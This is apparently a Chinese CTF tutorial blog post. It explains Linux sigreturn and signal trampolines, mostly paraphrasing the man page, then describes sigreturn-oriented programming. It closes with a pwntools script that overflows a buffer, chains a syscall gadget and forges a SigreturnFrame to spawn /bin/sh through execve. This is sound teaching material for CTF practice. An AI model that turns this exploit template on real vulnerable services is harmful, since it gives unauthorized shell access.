sigreturn() 的存在只是为了允许信号处理程序的实现。 永远不应该直接调用它。 (实际上,GNU C 库中的简单 sigreturn() 包装器仅返回 -1,将 errno 设置为 ENOSYS。)传递给 sigreturn() 的参数(如果有)的详细信息因架构而异。 (在某些体系结构上,例如 x86-64, sigreturn() 不带参数,因为它需要的所有信息都可以在先前由内核在用户空间堆栈上创建的堆栈帧中获得。)
曾几何时,UNIX 系统将信号蹦床代码放置到用户堆栈中。 如今,用户堆栈的页面受到保护以禁止代码执行。 因此,在当代 Linux 系统上,根据体系结构,信号蹦床代码存在于 vdso(7) 或 C 库中。 在后一种情况下,C 库的 sigaction(2) 包装函数通过将 Trampoline 代码的地址放在 sigaction 结构的 sa_restorer 字段中来通知内核该蹦床代码的位置,并在 sa_flags 字段中设置 SA_RESTORER 标志。也就是说,这个Trampoline代码是C库封装好的,并且在调用sigaction时,自动(因为sigaction函数本身也是由C库封装)将地址写入到sa_restorer中。
保存的进程上下文信息放置在 ucontext_t 结构中(参见 <sys/ucontext.h>)。 该结构作为通过带有 SA_SIGINFO 标志的 sigaction(2) 建立的处理程序的第三个参数在信号处理程序中可见。
在其他一些 UNIX 系统上,信号蹦床的操作略有不同。 特别是,在某些系统上,在转换回用户模式时,内核将控制权传递给蹦床(而不是信号处理程序),并且蹦床代码调用信号处理程序(然后在处理程序返回后调用 sigreturn())。
欸,发现什么问题了吗,把寄存器放到了用户栈堆上面,并且在恢复时候没有检验是否是原栈堆,给了我们利用的空间。
在pwntools中,正好有SigreturnFram类就是用来攻击这个的,这个用法比较单一,直接套模板就好,一般用于要一口气控制大量寄存器的时候。
代码
#! /usr/bin/env python3.8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./pwn')
# io = remote("101.200.155.151", 12700)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
syscall_ret = 0x40111C
mov_rax_15 = 0x40110A
binsh = 0x402008
frame = SigreturnFrame() # syscall execve
frame.rax = 0x3b # syscall code(即59,调用程序)
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
pad = b'a' * 0x28 + p64(mov_rax_15) + p64(syscall_ret)
pad += bytes(frame)
io.sendline(pad)



浙公网安备 33010602011771号